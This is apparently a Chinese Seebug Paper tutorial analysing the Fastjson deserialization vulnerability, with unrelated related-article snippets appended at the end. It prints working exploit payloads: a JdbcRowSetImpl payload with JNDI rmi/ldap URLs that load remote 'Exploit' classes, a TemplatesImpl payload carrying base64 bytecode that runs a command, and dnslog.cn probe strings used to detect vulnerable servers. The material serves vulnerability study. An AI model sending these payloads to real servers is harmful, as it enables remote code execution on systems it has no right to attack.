作者:summersec

本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送!

投稿邮箱:paper@seebug.org

前言

Fastjson这款国内知名的解析json的组件,笔者在此就不多介绍,网络上有很多分析学习fastjson反序列化漏洞文章。笔者在此以一种全新角度从分析payload构造角度出发,逆向学习分析fastjson反序列化漏洞始末。

ps:漏洞学习环境以代码均在上传Github项目。

初窥Payload

下面是一段最简单Fastjson的版本号反序列化--URLDNS代码,观察发现可以提出一个问题@type作用?

import com.alibaba.fastjson.JSON;

public class urldns {

public static void main(String[] args) {

// dnslog平台网站:http://www.dnslog.cn/

String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +

":\"http://h2a6yj.dnslog.cn\"}:\"summer\"}";

JSON.parse(payload);

}

}

@type的作用

下面是一段实验代码,帮助理解分析@type的由来。

public class User {

private String name;

private int age;

public String getName() {

return name;

}

public void setName(String name) {

this.name = name;

}

public int getAge() {

return age;

}

public void setAge(int age) {

this.age = age;

}

@Override

public String toString() {

return "User{" +

"name='" + name + '\'' +

", age=" + age +

'}';

}

}

package vul.fastjson;

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.JSONObject;

import com.alibaba.fastjson.serializer.SerializerFeature;

public class Demo {

//TODO 修改pom.xml中的fastjson <= 1.2.24

public static void main(String[] args) {

User user = new User();

user.setAge(18);

user.setName("summer");

String str1 = JSONObject.toJSONString(user);

// 转化的时候加入一个序列化的特征 写入类名

// feature = 特征

String str2 = JSONObject.toJSONString(user, SerializerFeature.WriteClassName);

// str2输入结果会输出 @type+类名

// 由此可知@type是用于解析JSON时的用于指定类

System.out.println(str1);

System.out.println(str2);

//如果fastjson解析内容时没有配置,会默认使用缺省配置

// TODO 查看parse方法 可以设置断点看看不同之处和相同之处

Object parse1 = JSON.parse(str1);

Object parse2 = JSON.parse(str2);

//很明显的结果不一样

System.out.println("@type: " + parse1.getClass().getName());

System.out.println("str1's parse1: " + parse1);

System.out.println("@type: " + parse2.getClass().getName());

System.out.println("str2's parse2: " + parse2);

}

}

对比分析一下,只要在JSON序列化的方法加入SerializerFeature.WriteClassName特征字段。序列化出来的结果会在开头加一个@type字段,值为进行序列化的类名。再将带有@type字段的序列化数据进行反序列化会得到对应的实例类对象。反序列化可以获取类对象?有Java基础的安全人应该会敏感的这里十之八九存在漏洞。 ps: 下面是一段验证代码

public class Vuldemo {

public static void main(String[] args) {

String payload = "{\"@type\":\"vul.fastjson.User\",\"age\":18,\"name\":\"summer\"}";

Object ob = JSON.parse(payload);

System.out.println("反序列化后类对象: " + ob.getClass().getName());

System.out.println("反序列化结果: " + ob);

}

}

漏洞分析

RCE's payload

第一种payload是使用com.sun.rowset.JdbcRowSetImpl类,第二种是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。第二种之前在漫谈Commons-Collections反序列化讨论分析过,这里不再重复着重讨论分析第一种payload。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1090/Exploit","autoCommit":true}

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

再窥Payload

观察发现这个payload由三部分组成,@type、dataSourceName、autoCommint。第一个@type前面已经提及了是获取实例化类,dataSourceName和autoCommit我们看看官方文档。

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +

"\"dataSourceName\":\"rmi://localhost:1090/Exploit\",\"autoCommit\":true}";

大致意思:使用该方法的名称绑定到JNDI命名服务中的DataSource对象上,应用程序就可以使用该名称进行查找,检索绑定到它的DataSource对象。

   设置AutoCommit后,会自动提交内容。设置这个属性之后,JNDI找到对应资源,对自动提交内容,读者后期可以试试删除这个属性是不会触发漏洞的。

知道上面这些特性后,根据特点构造等价代码 国外介绍JdbcRowSet 使用方法的一个小案例,可以参考一下。

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

try {

jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");

jdbcRowSet.setAutoCommit(true);

} catch (SQLException throwables) {

throwables.printStackTrace();

}

漏洞成因分析

JSON#parse()方法会调用DefaultJSONParser#parse(),在实例化DefaultJSONParser类是会将输入数据使用实例化JSONScanner类传入,并同时传入默认缺省配置features。

   这个 lexer 属性实际上是在 DefaultJSONParser 对象被实例化的时候创建的。

   DefaultJSONParser在实例化时会读取当前字符ch={,所以lexer.token()=12。

   跳转12会创建JSONObject类对象,然后再调用 DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)方法去解析。

   DefaultJSONParser#parseObject前面会做一个简单判断lexer.token(),然后读取字符判断是否ch=='"',TRUE就获取其中的字段的值@type并紧接着判断key == JSON.DEFAULT_TYPE_KEY相等。

   接下去进入反序列化阶段deserializer#deserialze()-->parseRest()-->fieldDeser#setValue-->一系列反射调用-->JdbcRowSetImpl#setAutoCommit()触发漏洞。

最后得到Gadget chain如下

/**

* Gadget chain:

* JSON.parse()

* DefaultJSONParser.parse()

* DefaultJSONParser.parseObject()

* JavaBeanDeserializer.deserialze()

* JavaBeanDeserializer.parseRest()

* FieldDeserializer.setValue()

* Reflect.invoke()

* JdbcRowSetImpl.setAutoCommit()

*

*/

DNSLOG的一个小点

实战挖掘fastjson漏洞的时候比较常用的方法,探测Fastjson是用dnslog方式,探测到了再用RCE Payload去一个一个打。但是本人在本地环境测试的时候发现了几个不同点,fastjson的版本不同,不同的payload成功概率是不同的。至于为什么是这样子,可以参考一下这篇通过dnslog探测fastjson的几种方法。

// 目前最新版1.2.72版本可以使用1.2.36 < fastjson <= 1.2.72

String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +

":\"http://9s1euv.dnslog.cn\"}:\"summer\"}";

// 全版本支持 fastjson <= 1.2.72

String payload1 = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"zf7tbu.dnslog.cn\"}";

String payload2 = "{\"@type\":\"java.net.Inet6Address\",\"val\":\"zf7tbu.dnslog.cn\"}";

参考

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1318/

sqlrowset 转化为json_逆向学习 fastjson 反序列化始末相关推荐

  1. 逆向学习fastjson反序列化始

    前言    Fastjson这款国内知名的解析json的组件,笔者在此就不多介绍,网络上有很多分析学习fastjson反序列化漏洞文章.笔者在此以一种全新角度从分析payload构造角度出发,逆向学习 ...

  2. fastjson xml转json_在XML中测试Fastjson反序列化

    本文来自SecIN社区-作者:tkswifty 引言 在实际业务开发中,经常会对xml或者json类型的请求数据进行解析.例如微信扫码支付的功能,按照微信开发文档与支付平台进行数据交互就需要使用XML ...

  3. .NET高级代码审计(第三课)Fastjson反序列化漏洞

    0X00 前言 Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本,而在.Net领域也有一个Fastjson的库,作者官宣这是一个读写Json效率最高的的.Net 组件,使用内置 ...

  4. fastjson反序列化map_最新fastjson反序列化漏洞分析

    前言 写的有点多,可能对师傅们来说比较啰嗦,不过这么写完感觉自己也就明白了 poc newPoc.javaimport com.alibaba.fastjson.JSON; public class ...

  5. Fastjson反序列化

    Fastjson反序列化 0x00 前言 fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSO ...

  6. 安卓逆向学习第一天笔记

    >课1 安卓逆向学习-android 环境配置与常用工具介绍 1.简单介绍 android应用程序时采用JAVA语言开发的,完成源代码的开发后,首先将JAVA源码转换为字节码,然后通过DX工具, ...

  7. c++ vector 一部分_C++逆向学习(二) vector

    此文为原创文章 作者:ret2nullptr@先知社区 恭喜作者获得 价值100元的天猫超市享淘卡一张 欢迎更多优质原创.翻译作者加入 ASRC文章奖励计划 欢迎多多投稿到先知社区 每天一篇优质技术好 ...

  8. fastJson反序列化异常,JSONException: expect ‘:‘ at 0, actual =

    fastJson反序列化异常,JSONException: expect ':' at 0, actual = 参考文章: (1)fastJson反序列化异常,JSONException: expec ...

  9. fastjson反序列化漏洞_漏洞预警Fastjson再爆反序列化代码执行漏洞;星巴克被发现存在信息泄露风险...

    漏洞预警 Fastjson再次爆出通杀的反序列化代码执行漏洞 漏洞信息 据态势感知平台监测,网络上再次出现此前未曾发现的fastjson反序列化攻击向量. Fastjson是由阿里巴巴推出基于Java ...

最新文章

  1. 执行startx后Ubuntupassword正确进不去的问题
  2. mysql 时序 存储引擎_MySQL常见的三种存储引擎
  3. 前端实现连连看小游戏(1)
  4. react手机机端css_react工程搭建系列之---移动端适配与antd-mobile高清适配方案
  5. elinput内容过长显示悬浮框_excel中一直被忽视的名称框,用好了也能提高效率
  6. 《Scikit-Learn与TensorFlow机器学习实用指南》第16章 强化学习
  7. WP8.1学习系列(第二十三章)——到控件的数据绑定
  8. linux vim个人配色方案
  9. pdf安装包_PDF多功能格式转换器安装教程附安装包
  10. Unity2D 游戏中对象无法显示问题
  11. 邮箱大师支持html,网易邮箱大师使用过程的常见问题
  12. c语言平方根求和用sqrt函数,sqrt函数 Excel怎么使用平方根函数SQRT
  13. 原函数与反函数的关系
  14. core dump的诡异事件
  15. 大神自述|7岁接触建模的大神建模师,分享建模经验与技巧
  16. win10/win11 + WSL + gui 配置教程
  17. VS错误 CS0120 对象引用对于非静态的字段、方法或属性
  18. microstrip(微带线)、stripline(带状线)的区别
  19. 国庆连夜测试羊了个羊,发现了一些游戏Bug
  20. datamatrix java_java 怎么生成datamatrix

热门文章

  1. install lsa package for R on ubuntu 10.04 lts lucid
  2. Build tool
  3. 算法笔记(二)——浅析最好、最坏、平均、均摊时间分析方法
  4. 查看daemon使用技巧
  5. HDLM命令dlnkmgr详解之二__help/clear
  6. webkit-box translate 的组合--流畅的滑动体验
  7. 设置自定义ASP.NET服务器控件TagPrefix的几种方法
  8. windows curl ssl版本编译
  9. APK安装过程及原理详解
  10. AndroidStudio_使用NanoHTTPD搭建HTTP服务_把android设置当成一个http服务器来使用---Android原生开发工作笔记225